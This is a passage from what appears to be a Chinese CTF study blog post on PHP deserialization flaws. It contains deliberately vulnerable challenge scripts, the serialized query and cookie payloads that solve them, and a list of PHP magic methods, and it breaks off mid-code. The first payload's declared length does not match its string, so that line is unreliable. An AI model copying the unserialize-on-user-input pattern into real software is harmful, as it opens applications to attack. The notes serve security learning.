PHP渗透测试题目笔记

本文深入探讨了PHP反序列化漏洞的原理和利用,通过实例解析了如何触发和防御这类漏洞。同时,介绍了魔术方法的执行顺序及其在安全场景中的影响,并展示了多个CTF比赛中的相关题目及解题思路,包括绕过限制、文件操作和源码泄露等。内容涵盖了PHP代码审计、序列化陷阱和安全测试等方面。
摘要由CSDN通过智能技术生成

最简单反序列化漏洞

简单实例,如下是一串简单的PHP代码,index.php里面包含了flag.php 这个文件

<?php
// 关闭错误报告
error_reporting(0);
include "flag.php";
$key="020202";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
   
    echo "$flag";
}
show_source(__FILE__); 
//show_source() 函数对文件进行语法高亮显示。
?>

flag.php文件内容如下

<?php
$flag="flag{020202020020}"    
?>

逻辑解释:当通过URL传递参数到str变量中,如果传递的变量反序列化出来与"$key"相同(三个等于号),那么就输出flag.php里面的flag参数内容,所以可以在URL中输入:

http://127.0.0.1/web/serialize/index.php?str=s:6:"22020202";

在不确定是什么形式的序列化字符串,可以去在线工具里尝试

<?php
$key=020202;
echo serialize($key);
?>
// i:8322;

陷阱题 PHP反序列化漏洞

下面是一个反序列化漏洞的陷阱CTF题目

<?php
error_reporting(0);
// 隐藏报错内容
include("flag.php");
$cookie=$_COOKIE['Bob'];
if(isset($_GET['hint'])){
   
    show_source(__FILE__);
}elseif(unserialize($cookie)==="$key"){
   
	echo "$flag";
}else{
   
    $key="123456";
}
?>

从代码可以看到,代码获取Bob的cookie内容,然后与key元素作比较,如果反序列化出来内容相同,则输出flag,但是这里面有两个陷阱:

  • 在渗透时,只有输入?hint=的时候才会展示出源代码,而后面的内容则不再执行下去,即hint值存在才会展示源代码,但是一旦展示源代码,后面的内容则不再执行
  • 代码执行顺序的陷阱,key的值只有在else条件下才会被赋值,所以之前与cookie比较的值为空值

根据内容,此题的正确解法修改的cookie内容:

Cookie: Bob=s:0:"";

PHP魔术方法执行顺序

魔术方法链接

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

范例

例如下面的代码执行顺序

<?php
error_reporting(0);

clas
  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值